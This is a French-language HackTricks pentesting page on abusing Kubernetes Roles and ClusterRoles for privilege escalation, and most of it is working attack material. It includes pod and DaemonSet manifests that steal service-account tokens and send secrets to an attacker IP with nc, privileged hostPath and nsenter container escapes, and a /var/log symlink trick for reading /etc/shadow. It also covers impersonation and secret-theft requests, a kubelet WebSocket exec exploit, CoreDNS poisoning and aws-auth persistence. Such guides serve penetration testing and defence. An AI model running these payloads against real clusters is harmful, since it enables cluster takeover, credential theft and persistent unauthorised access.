Abuser des Roles/ClusterRoles dans Kubernetes
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Vous trouverez ici quelques configurations potentiellement dangereuses de Roles et ClusterRoles.
Nâoubliez pas que vous pouvez obtenir toutes les ressources prises en charge avec kubectl api-resources
Escalade de privilĂšges
On entend par lĂ lâart dâobtenir lâaccĂšs Ă un autre principal dans le cluster avec des privilĂšges diffĂ©rents (au sein du cluster Kubernetes ou vers des clouds externes) de ceux que vous possĂ©dez dĂ©jĂ . Dans Kubernetes, il existe essentiellement 4 principales techniques pour escalader les privilĂšges :
- Pouvoir impersonate dâautres user/groups/SAs avec des privilĂšges supĂ©rieurs au sein du cluster Kubernetes ou vers des clouds externes
- Pouvoir create/patch/exec pods oĂč vous pouvez find or attach SAs disposant de privilĂšges supĂ©rieurs au sein du cluster Kubernetes ou vers des clouds externes
- Pouvoir read secrets puisque les tokens des SAs sont stockés en tant que secrets
- Pouvoir escape to the node depuis un container, oĂč vous pouvez voler tous les secrets des containers sâexĂ©cutant sur le node, les identifiants du node, et les permissions du node dans le cloud sur lequel il tourne (le cas Ă©chĂ©ant)
- Une cinquiĂšme technique mĂ©rite dâĂȘtre mentionnĂ©e : la capacitĂ© Ă run port-forward dans un pod, car vous pourriez accĂ©der Ă des ressources intĂ©ressantes Ă lâintĂ©rieur de ce pod.
AccĂ©der Ă nâimporte quelle ressource ou verb (Wildcard)
Le wildcard (*) donne la permission sur nâimporte quelle ressource avec nâimporte quel verb. Il est utilisĂ© par les admins. Dans une ClusterRole, cela signifie quâun attaquant pourrait abuser nâimporte quel namespace dans le cluster
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
AccĂ©der Ă nâimporte quelle ressource avec un verbe spĂ©cifique
Dans RBAC, certaines permissions présentent des risques importants :
create: Accorde la capacitĂ© de crĂ©er nâimporte quelle ressource du cluster, risquant une privilege escalation.list: Permet de lister toutes les ressources, potentiellement leaking des donnĂ©es sensibles.get: Permet dâaccĂ©der aux secrets des service accounts, constituant une menace pour la sĂ©curitĂ©.
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]
Pod Create - Steal Token
Un attaquant disposant des permissions pour crĂ©er un pod peut attacher un Service Account privilĂ©giĂ© au pod et voler le token afin dâusurper ce Service Account. Cela permet dâescalader ses privilĂšges.
Exemple dâun pod qui volera le token du bootstrap-signer service account et lâenverra Ă lâattaquant :
apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
Pod Create & Escape
Ce qui suit indique tous les privilĂšges quâun conteneur peut avoir :
- AccÚs privilégié (désactivation des protections et configuration des capabilities)
- Désactiver les namespaces hostIPC et hostPid qui peuvent aider à escalader les privilÚges
- DĂ©sactiver le namespace hostNetwork, donnant la possibilitĂ© de voler les privilĂšges cloud des nĆuds et un meilleur accĂšs aux rĂ©seaux
- Monter le / de lâhĂŽte Ă lâintĂ©rieur du conteneur
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
# add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /
Créez le pod avec :
kubectl --token $token create -f mount_root.yaml
Commande en une ligne provenant de this tweet et avec quelques ajouts :
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
Maintenant que vous pouvez vous échapper vers le node, consultez les techniques de post-exploitation dans :
Discrétion
Vous voudrez probablement ĂȘtre plus discret, dans les pages suivantes vous pouvez voir ce Ă quoi vous pourriez accĂ©der si vous crĂ©ez un pod en nâactivant que certaines des privilĂšges mentionnĂ©s dans le template prĂ©cĂ©dent :
- Privileged + hostPID
- Privileged only
- hostPath
- hostPID
- hostNetwork
- hostIPC
Vous pouvez trouver des exemples de comment créer/abuser les configurations précédentes de pods privilégiés dans https://github.com/BishopFox/badPods
Pod Create - Move to cloud
Si vous pouvez crĂ©er un pod (et optionnellement un service account) vous pourriez ĂȘtre capable dâobtenir des privilĂšges dans un environnement cloud en assignant des cloud roles Ă un pod ou Ă un service account puis en y accĂ©dant.
De plus, si vous pouvez crĂ©er un pod avec le host network namespace vous pouvez voler le IAM role de lâinstance node.
Pour plus dâinformations consultez :
Créer/Modifier Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs
Il est possible dâabuser de ces permissions pour crĂ©er un nouveau pod et escalader des privilĂšges comme dans lâexemple prĂ©cĂ©dent.
Le yaml suivant crĂ©e un daemonset et exfiltre le token du SA Ă lâintĂ©rieur du pod :
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /
Pods Exec
pods/exec est une ressource dans kubernetes utilisĂ©e pour exĂ©cuter des commandes dans un shell Ă lâintĂ©rieur dâun pod. Cela permet dâexĂ©cuter des commandes Ă lâintĂ©rieur des conteneurs ou dâobtenir un shell Ă lâintĂ©rieur.
Par consĂ©quent, il est possible de pĂ©nĂ©trer dans un pod et voler le token du SA, ou dâentrer dans un pod privilĂ©giĂ©, de sâĂ©chapper vers le nĆud, et de voler tous les tokens des pods sur le nĆud et (ab)user du nĆud:
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
Note
Par dĂ©faut la commande sâexĂ©cute dans le premier container du pod. RĂ©cupĂ©rez tous les containers dâun pod avec
kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'puis prĂ©cisez le container oĂč vous voulez lâexĂ©cuter aveckubectl exec -it <pod_name> -c <container_name> -- shSi câest un container distroless vous pouvez essayer dâutiliser les builtins du shell pour obtenir des infos sur les containers ou uploader vos propres outils comme un busybox via :
kubectl cp </path/local/file> <podname>:</path/in/container>.port-forward
Cette permission permet de rediriger un port local vers un port spĂ©cifique dâun pod. Cela sert Ă pouvoir dĂ©boguer facilement des applications sâexĂ©cutant dans un pod, mais un attaquant pourrait en abuser pour accĂ©der Ă des applications intĂ©ressantes (comme des DB) ou vulnĂ©rables (webs ?) Ă lâintĂ©rieur dâun pod :
kubectl port-forward pod/mypod 5000:5000
Ăvasion si /var/log/ de lâhĂŽte est accessible en Ă©criture
As indicated in this research, si vous pouvez accéder ou créer un pod avec le répertoire hosts /var/log/ monté dessus, vous pouvez vous échapper du conteneur.
Ceci sâexplique essentiellement parce que lorsque le Kube-API tente de rĂ©cupĂ©rer les logs dâun container (en utilisant kubectl logs <pod>), il demande le fichier 0.log du pod via lâendpoint /logs/ du service Kubelet.
Le service Kubelet expose lâendpoint /logs/ qui expose en fait le systĂšme de fichiers /var/log du container.
Ainsi, un attacker avec un accÚs en écriture au dossier /var/log/ du conteneur peut abuser de ce comportement de 2 maniÚres :
- Modifier le fichier
0.logde son container (gĂ©nĂ©ralement situĂ© dans/var/logs/pods/namespace_pod_uid/container/0.log) pour en faire un symlink pointant vers/etc/shadowpar exemple. Ensuite, vous pourrez exfiltrate le fichier shadow de lâhĂŽte en faisant :
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
- Si lâattaquant contrĂŽle un principal ayant les permissions de lecture de
nodes/log, il peut simplement crĂ©er un symlink dans/host-mounted/var/log/sympointant vers/et en accĂ©dant Ăhttps://<gateway>:10250/logs/sym/il listera le systĂšme de fichiers racine de lâhĂŽte (modifier le symlink peut donner accĂšs Ă des fichiers).
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]
Un laboratoire et un exploit automatisé sont disponibles sur https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts
Contourner la protection en lecture seule
Si vous avez la chance et que la capacité trÚs privilégiée CAP_SYS_ADMIN est disponible, vous pouvez simplement remonter le dossier en rw:
mount -o rw,remount /hostlogs/
Contournement de la protection hostPath readOnly
Comme indiqué dans this research il est possible de contourner la protection:
allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true
Ce mĂ©canisme Ă©tait censĂ© prĂ©venir des escapes comme les prĂ©cĂ©dents : au lieu dâutiliser un hostPath mount, utiliser un PersistentVolume et un PersistentVolumeClaim pour monter un dossier hosts dans le container avec un accĂšs en Ă©criture :
apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: ["sh", "-c", "sleep 1h"]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol
Impersonating privileged accounts
Avec un privilÚge de user impersonation, un attaquant pourrait usurper un compte privilégié.
Il suffit dâutiliser le paramĂštre --as=<username> dans la commande kubectl pour usurper un utilisateur, ou --as-group=<group> pour usurper un groupe :
kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters
Ou utilisez lâAPI REST :
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
Lister les secrets
Lâautorisation de lister les secrets pourrait permettre Ă un attaquant de rĂ©ellement lire les secrets en accĂ©dant Ă lâendpoint de lâAPI REST :
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
Création et lecture des Secrets
Il existe un type spécial de secret Kubernetes de type kubernetes.io/service-account-token qui stocke des tokens de serviceaccount. Si vous avez les autorisations pour créer et lire des secrets, et que vous connaissez également le nom du serviceaccount, vous pouvez créer un secret comme suit puis voler le token du serviceaccount victime depuis ce secret :
apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token
Exemple dâexploitation :
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
secrets [] [] [get create]
[/.well-known/openid-configuration/] [] [get]
<SNIP>
[/version] [] [get]
$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"
$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"
$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created
$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}
Notez que si vous ĂȘtes autorisĂ© Ă crĂ©er et Ă lire des secrets dans un namespace donnĂ©, le serviceaccount victime doit Ă©galement se trouver dans ce mĂȘme namespace.
Lecture dâun secret â brute-forcing token IDs
Bien quâun attaquant en possession dâun token avec des permissions de lecture ait besoin du nom exact du secret pour lâutiliser â contrairement au privilĂšge plus large de listing secrets â il existe encore des vulnĂ©rabilitĂ©s. Les comptes de service par dĂ©faut du systĂšme peuvent ĂȘtre Ă©numĂ©rĂ©s, chacun Ă©tant associĂ© Ă un secret. Ces secrets ont une structure de nom : un prĂ©fixe statique suivi dâun token alphanumĂ©rique alĂ©atoire de cinq caractĂšres (en excluant certains caractĂšres) selon le source code.
Le token est gĂ©nĂ©rĂ© Ă partir dâun jeu limitĂ© de 27 caractĂšres (bcdfghjklmnpqrstvwxz2456789), plutĂŽt que de lâensemble alphanumĂ©rique complet. Cette limitation rĂ©duit le nombre total de combinaisons possibles Ă 14 348 907 (27^5). Par consĂ©quent, un attaquant pourrait raisonnablement lancer une brute-force attack pour dĂ©duire le token en quelques heures, ce qui pourrait conduire Ă une privilege escalation en accĂ©dant Ă des service accounts sensibles.
EncrpytionConfiguration en clair
Il est possible de trouver des clĂ©s en clair servant Ă chiffrer les donnĂ©es au repos dans ce type dâobjet, comme :
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
#
# CAUTION: this is an example configuration.
# Do not use this for your own cluster!
#
apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
- configmaps
- pandas.awesome.bears.example # a custom resource API
providers:
# This configuration does not provide data confidentiality. The first
# configured provider is specifying the "identity" mechanism, which
# stores resources as plain text.
#
- identity: {} # plain text, in other words NO encryption
- aesgcm:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- aescbc:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- secretbox:
keys:
- name: key1
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
- resources:
- events
providers:
- identity: {} # do not encrypt Events even though *.* is specified below
- resources:
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key2
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
- resources:
- '*.*' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
Demandes de signature de certificat
Si vous avez le verbe create sur la ressource certificatesigningrequests (ou au moins sur certificatesigningrequests/nodeClient). Vous pouvez create un nouveau CeSR dâun nouveau node.
Selon la documentation il est possible dâapprouver automatiquement ces demandes, donc dans ce cas vous nâavez pas besoin de permissions supplĂ©mentaires. Sinon, vous devrez ĂȘtre capable dâapprouver la requĂȘte, ce qui signifie update dans certificatesigningrequests/approval et approve dans signers avec resourceName <signerNameDomain>/<signerNamePath> ou <signerNameDomain>/*
Un exemple de role avec toutes les permissions requises est :
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve
Ainsi, avec le nouveau node CSR approuvé, vous pouvez abuse les permissions spéciales des nodes pour steal secrets et escalate privileges.
Dans this post et this one la configuration GKE K8s TLS Bootstrap est configurĂ©e avec automatic signing et elle est abusĂ©e pour gĂ©nĂ©rer les credentials dâun nouveau K8s Node puis abuse ceux-ci pour escalate privileges en steal secrets.
Si vous have the mentioned privileges you could do the same thing. Notez que le premier exemple contourne lâerreur empĂȘchant un nouveau node dâaccĂ©der aux secrets Ă lâintĂ©rieur des containers parce quâun node can only access the secrets of containers mounted on it.
La méthode pour contourner cela consiste simplement à create a node credentials for the node name where the container with the interesting secrets is mounted (but just check how to do it in the first post):
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
AWS EKS aws-auth configmaps
Les entitĂ©s (principals) qui peuvent modifier configmaps dans lâespace de noms kube-system sur des clusters EKS (doivent ĂȘtre sur AWS) peuvent obtenir des privilĂšges dâadministrateur du cluster en Ă©crasant le aws-auth configmap.
Les verbes nĂ©cessaires sont update et patch, ou create si le configmap nâa pas Ă©tĂ© créé:
# Check if config map exists
get configmap aws-auth -n kube-system -o yaml
## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns
# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters
Warning
Vous pouvez utiliser
aws-authpour la persistance, donnant accĂšs Ă des utilisateurs dâautres comptes.Cependant,
aws --profile other_account eks update-kubeconfig --name <cluster-name>ne fonctionne pas depuis un autre compte. Mais en rĂ©alitĂ©aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testingfonctionne si vous mettez lâARN du cluster au lieu du nom seulement.
Pour faire fonctionnerkubectl, assurez-vous simplement de configurer le kubeconfig de la victime et dans les aws exec args ajoutez--profile other_account_roleafin que kubectl utilise le profil de lâautre compte pour obtenir le token et contacter AWS.
CoreDNS config map
Si vous avez les permissions pour modifier le coredns configmap dans lâespace de noms kube-system, vous pouvez modifier les adresses vers lesquelles les domaines seront rĂ©solus afin de pouvoir effectuer des attaques MitM pour voler des informations sensibles ou injecter du contenu malveillant.
Les verbes nécessaires sont update et patch sur le coredns configmap (ou sur tous les config maps).
Un fichier coredns standard contient quelque chose comme ceci:
data:
Corefile: |
.:53 {
log
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
hosts {
192.168.49.1 host.minikube.internal
fallthrough
}
forward . /etc/resolv.conf {
max_concurrent 1000
}
cache 30
loop
reload
loadbalance
}
Un attaquant pourrait le tĂ©lĂ©charger en exĂ©cutant kubectl get configmap coredns -n kube-system -o yaml, le modifier en ajoutant quelque chose comme rewrite name victim.com attacker.com de sorte que chaque fois que victim.com est consultĂ©, câest en rĂ©alitĂ© attacker.com qui sera accĂ©dĂ©. Puis lâappliquer en exĂ©cutant kubectl apply -f poison_dns.yaml.
Une autre option consiste à éditer directement le fichier en exécutant kubectl edit configmap coredns -n kube-system et en effectuant les modifications.
Escalating in GKE
Il existe 2 façons dâassigner des permissions K8s aux principals GCP. Dans tous les cas le principal a aussi besoin de la permission container.clusters.get pour pouvoir rĂ©cupĂ©rer les credentials afin dâaccĂ©der au cluster, ou vous devrez gĂ©nĂ©rer votre propre fichier de config kubectl (suivre le lien suivant).
Warning
Lorsque vous vous adressez Ă lâendpoint API K8s, le GCP auth token sera envoyĂ©. Ensuite, GCP, via lâendpoint API K8s, vĂ©rifiera dâabord si le principal (par email) dispose dâun accĂšs Ă lâintĂ©rieur du cluster, puis vĂ©rifiera sâil a un accĂšs via GCP IAM.
Si lâune de ces conditions est vraie, une rĂ©ponse sera fournie. Sinon, une erreur suggĂ©rant dâaccorder des permissions via GCP IAM sera renvoyĂ©e.
Ensuite, la premiÚre méthode utilise GCP IAM : les permissions K8s ont leurs permissions équivalentes dans GCP IAM, et si le principal les possÚde, il pourra les utiliser.
La seconde mĂ©thode consiste Ă assigner des permissions K8s Ă lâintĂ©rieur du cluster en identifiant lâutilisateur par son email (y compris les GCP service accounts).
Create serviceaccounts token
Les principals qui peuvent create TokenRequests (serviceaccounts/token) lorsquâils interagissent avec lâendpoint API K8s SAs (info from here).
ephemeralcontainers
Les principals qui peuvent update ou patch pods/ephemeralcontainers peuvent obtenir une exĂ©cution de code sur dâautres pods, et potentiellement sâĂ©chapper vers leur nĆud en ajoutant un ephemeral container avec un securityContext privilĂ©giĂ©
ValidatingWebhookConfigurations or MutatingWebhookConfigurations
Les principals disposant de lâun des verbs create, update ou patch sur validatingwebhookconfigurations ou mutatingwebhookconfigurations pourraient ĂȘtre capables de crĂ©er une telle webhookconfiguration afin de escalader des privilĂšges.
For a mutatingwebhookconfigurations example check this section of this post.
Escalate
Comme expliquĂ© dans la section suivante : Built-in Privileged Escalation Prevention, un principal ne peut ni update ni create des roles ou clusterroles sans possĂ©der luiâmĂȘme ces nouvelles permissions. Sauf sâil dispose du verb escalate or * sur roles ou clusterroles et des options de binding correspondantes.
Dans ce cas, il peut update/create de nouveaux roles, clusterroles avec des permissions supĂ©rieures Ă celles quâil possĂšde.
Nodes proxy
Les principals ayant accĂšs au subresource nodes/proxy peuvent exĂ©cuter du code sur des pods via lâAPI Kubelet (selon this). Plus dâinformations sur lâauthentification Kubelet sur cette page :
Kubelet Authentication & Authorization
nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion
- Kubelet mappe les mĂ©thodes HTTP vers les verbs RBAC avant lâupgrade du protocole. Les handshakes WebSocket doivent commencer par HTTP GET (
Connection: Upgrade), donc/execvia WebSocket est vĂ©rifiĂ© comme verbgetau lieu ducreateattendu. /exec,/run,/attachet/portforwardne sont pas mappĂ©s explicitement et tombent dans le subresource par dĂ©fautproxy, donc la question dâautorisation devientcan <user> get nodes/proxy?- Si un token nâa que
nodes/proxy+get, un accĂšs WebSocket direct au kubelet surhttps://<node_ip>:10250permet lâexĂ©cution arbitraire de commandes dans nâimporte quel pod de ce nĆud. La mĂȘme requĂȘte via le chemin proxy de lâAPI server (/api/v1/nodes/<node>/proxy/exec/...) est refusĂ©e car il sâagit dâun POST HTTP normal et mappe surcreate. - Le kubelet nâeffectue pas de seconde autorisation aprĂšs lâupgrade WebSocket ; seul le GET initial est Ă©valuĂ©.
Exploit direct (requiert la connectivité réseau vers le kubelet et un token avec nodes/proxy GET):
kubectl auth can-i --list | grep "nodes/proxy"
websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol "v4.channel.k8s.io" \
"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id"
- Utilisez le Node IP, pas le nom du node. La mĂȘme requĂȘte avec
curl -X POSTsera Forbidden parce quâelle correspond Ăcreate. - Un accĂšs direct au kubelet contourne lâAPI server, donc AuditPolicy nâaffiche que les
subjectaccessreviewsprovenant de lâuser agent du kubelet et nâenregistre pas les commandespods/exec. - ĂnumĂ©rez les service accounts affectĂ©s avec le detection script pour trouver des tokens limitĂ©s Ă
nodes/proxyGET.
Supprimer des pods + rendre des nodes non planifiables
Les principals pouvant supprimer des pods (delete verb sur la ressource pods), ou expulser des pods (create verb sur la ressource pods/eviction), ou modifier le status dâun pod (accĂšs Ă pods/status) et pouvant rendre dâautres nodes non planifiables (accĂšs Ă nodes/status) ou supprimer des nodes (delete verb sur la ressource nodes) et contrĂŽlant un pod, pourraient voler des pods dâautres nodes pour quâils soient exĂ©cutĂ©s sur le node compromis et lâattaquant pourrait voler les tokens de ces pods.
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}
while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack
kubectl delete pods -n kube-system <privileged_pod_name>
Services status (CVE-2020-8554)
Les principals qui peuvent modifier services/status peuvent dĂ©finir le champ status.loadBalancer.ingress.ip pour exploiter la CVE-2020-8554 non corrigĂ©e et lancer des attaques MiTM contre le cluster. La plupart des mitigations pour CVE-2020-8554 nâempĂȘchent que les services ExternalIP (selon this).
Nodes and Pods status
Les principals disposant des permissions update ou patch sur nodes/status ou pods/status peuvent modifier des labels pour affecter les contraintes dâordonnancement appliquĂ©es.
Built-in Privileged Escalation Prevention
Kubernetes dispose dâun mĂ©canisme intĂ©grĂ© pour prĂ©venir lâĂ©lĂ©vation de privilĂšges.
Ce systĂšme garantit que les utilisateurs ne peuvent pas Ă©lever leurs privilĂšges en modifiant des roles ou des role bindings. Lâapplication de cette rĂšgle se fait au niveau de lâAPI, offrant une protection mĂȘme lorsque lâautorisateur RBAC est inactif.
La rĂšgle stipule quâun utilisateur ne peut crĂ©er ou mettre Ă jour un role que sâil possĂšde lâensemble des permissions que le role comprend. De plus, la portĂ©e des permissions existantes de lâutilisateur doit correspondre Ă celle du role quâil tente de crĂ©er ou de modifier : soit Ă lâĂ©chelle du cluster pour les ClusterRoles, soit confinĂ©e au mĂȘme namespace (ou Ă lâĂ©chelle du cluster) pour les Roles.
Warning
Il existe une exception à la rÚgle précédente. Si un principal a le verbe
escalatesurrolesouclusterroles, il peut augmenter les privilĂšges des roles et clusterroles mĂȘme sans possĂ©der ces permissions luiâmĂȘme.
Get & Patch RoleBindings/ClusterRoleBindings
Caution
Apparemment cette technique fonctionnait auparavant, mais dâaprĂšs mes tests elle ne fonctionne plus pour la mĂȘme raison expliquĂ©e dans la section prĂ©cĂ©dente. Vous ne pouvez pas crĂ©er/modifier un rolebinding pour vous donner ou donner Ă un autre SA des privilĂšges si vous ne les possĂ©dez pas dĂ©jĂ .
